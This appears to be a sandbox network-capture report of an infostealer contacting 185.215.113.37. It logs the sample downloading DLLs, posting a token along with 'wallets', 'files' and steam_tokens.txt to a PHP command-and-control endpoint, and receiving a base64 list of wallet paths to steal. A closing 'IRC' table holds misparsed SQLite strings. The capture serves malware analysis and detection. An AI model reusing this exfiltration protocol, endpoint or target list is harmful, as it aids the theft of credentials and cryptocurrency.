Oct 13, 2024 06:54:14.534394979 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:14 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "94750-5e7e950876500" Accept-Ranges: bytes Content-Length: 608080 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Oct 13, 2024 06:54:15.723792076 CEST	94	OUT	GET /0d60be0de163924d/msvcp140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 06:54:15.948966026 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:15 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Oct 13, 2024 06:54:16.289607048 CEST	90	OUT	GET /0d60be0de163924d/nss3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 06:54:16.508225918 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:16 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Oct 13, 2024 06:54:18.040770054 CEST	94	OUT	GET /0d60be0de163924d/softokn3.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 06:54:18.259571075 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Oct 13, 2024 06:54:18.520220041 CEST	98	OUT	GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1 Host: 185.215.113.37 Cache-Control: no-cache
Oct 13, 2024 06:54:18.765002012 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:18 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Oct 13, 2024 06:54:19.406649113 CEST	202	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKFBAFIDAEBFHJKJEBF Host: 185.215.113.37 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Oct 13, 2024 06:54:20.287851095 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:19 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=83 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:20.678580999 CEST	468	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDB Host: 185.215.113.37 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"wallets------BGIDBKKKKKFBGDGDHIDB--
Oct 13, 2024 06:54:20.899807930 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:20 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=82 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Oct 13, 2024 06:54:20.902209997 CEST	466	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HDAKJDHIEBFIIDGDGDBA Host: 185.215.113.37 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 48 44 41 4b 4a 44 48 49 45 42 46 49 49 44 47 44 47 44 42 41 2d 2d 0d 0a Data Ascii: ------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------HDAKJDHIEBFIIDGDGDBAContent-Disposition: form-data; name="message"files------HDAKJDHIEBFIIDGDGDBA--
Oct 13, 2024 06:54:21.123507023 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=81 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:21.136399031 CEST	564	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDAAKEHJDHJKEBFHJEGD Host: 185.215.113.37 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 41 41 4b 45 48 4a 44 48 4a 4b 45 42 46 48 4a 45 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDAAKEHJDHJKEBFHJEGDContent-Disposition: form-data; name="file"------IDAAKEHJDHJKEBFHJEGD--
Oct 13, 2024 06:54:21.855791092 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:21 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=80 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 13, 2024 06:54:21.857930899 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KJKJKFCBKKJDGDHIDBGI Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 4a 4b 4a 4b 46 43 42 4b 4b 4a 44 47 44 48 49 44 42 47 49 2d 2d 0d 0a Data Ascii: ------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------KJKJKFCBKKJDGDHIDBGIContent-Disposition: form-data; name="message"ybncbhylepme------KJKJKFCBKKJDGDHIDBGI--
Oct 13, 2024 06:54:22.093310118 CEST	1236	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:21 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 4676 Keep-Alive: timeout=5, max=79 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 2a 2e 70 6c 3c 62 72 3e 20 31 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6f 66 66 69 63 65 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 73 75 70 70 6f 72 74 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 2e 62 69 6e 67 2e 63 6f 6d 0a 2e 63 31 2e 6d 69 63 72 [TRUNCATED] Data Ascii: .pl<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>.ar<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.office.com.microsoft.com.microsoft.com.microsoft.comsupport.microsoft.com.microsoft.com.c1.microsoft.comsupport.microsoft.com.c.bing.com.c1.microsoft.com.bing.com.microsoft.comsupport.microsoft.com.c.bing.com.c.bing.com.c1.microsoft.comlogin.microsoftonline.comsupport.microsoft.com.microsoft.comlogin.microsoftonline.com.google.com<br>*.br<br> 1.google.comsupport.microsoft.comsupport.microsoft.comsupport.microsoft.comsupport.offi
Oct 13, 2024 06:54:22.094794989 CEST	473	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHDBGHJKFIDHJJJEBKE Host: 185.215.113.37 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 62 32 34 66 62 36 62 64 34 63 66 39 63 37 33 30 30 35 34 37 32 64 66 33 36 38 36 61 35 34 64 63 64 61 37 37 38 64 63 36 66 62 36 32 35 64 35 31 64 65 30 30 61 63 62 39 63 61 33 61 38 35 66 37 61 66 62 39 32 38 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 44 42 47 48 4a 4b 46 49 44 48 4a 4a 4a 45 42 4b 45 2d 2d 0d 0a Data Ascii: ------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="token"9b24fb6bd4cf9c73005472df3686a54dcda778dc6fb625d51de00acb9ca3a85f7afb9281------AFHDBGHJKFIDHJJJEBKEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFHDBGHJKFIDHJJJEBKE--
Oct 13, 2024 06:54:22.813442945 CEST	202	IN	HTTP/1.1 200 OK Date: Sun, 13 Oct 2024 04:54:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=78 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

IRC Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP	Commands
Oct 13, 2024 06:54:08.826370955 CEST	80	49730	185.215.113.37	192.168.2.4	JOIN clause is required before %s%d columns assigned %d valuescannot use RETURNING in a triggerDISTINCT is not supported for window functionstoo many arguments on function %TUNIONORDER BYLIMIT%s clause should come after %s not beforetoo many terms in compound SELECTsyntax error after column name "%.*s"table %s may not be alteredduplicate WITH table name: %sframe specificationORDER BY clausePARTITION clausecannot override %s of window: %sunsupported frame specificationno such collation sequence: %ssqlite\_%sqlite_stat1BBBobject name reserved for internal use: %stoo many terms in %s BY clause%r %s BY term out of range - should be between 1 and %dFOREIGN KEY constraint failedvtable constructor called recursively: %svtable constructor failed: %svtable constructor did not declare schema: %shidden%s.%s%s.rowiderror in %s %s%s%s: %scolumn%dDISTINCT aggregates must have exactly one argumentUSE TEMP B-TREE FOR %s(DISTINCT)"%w" %Q%sdelayed %dms for lock/sharing conflict at line %dcannot limit WAL size: %sfailed memory resize %u to %u bytesfailed to allocate 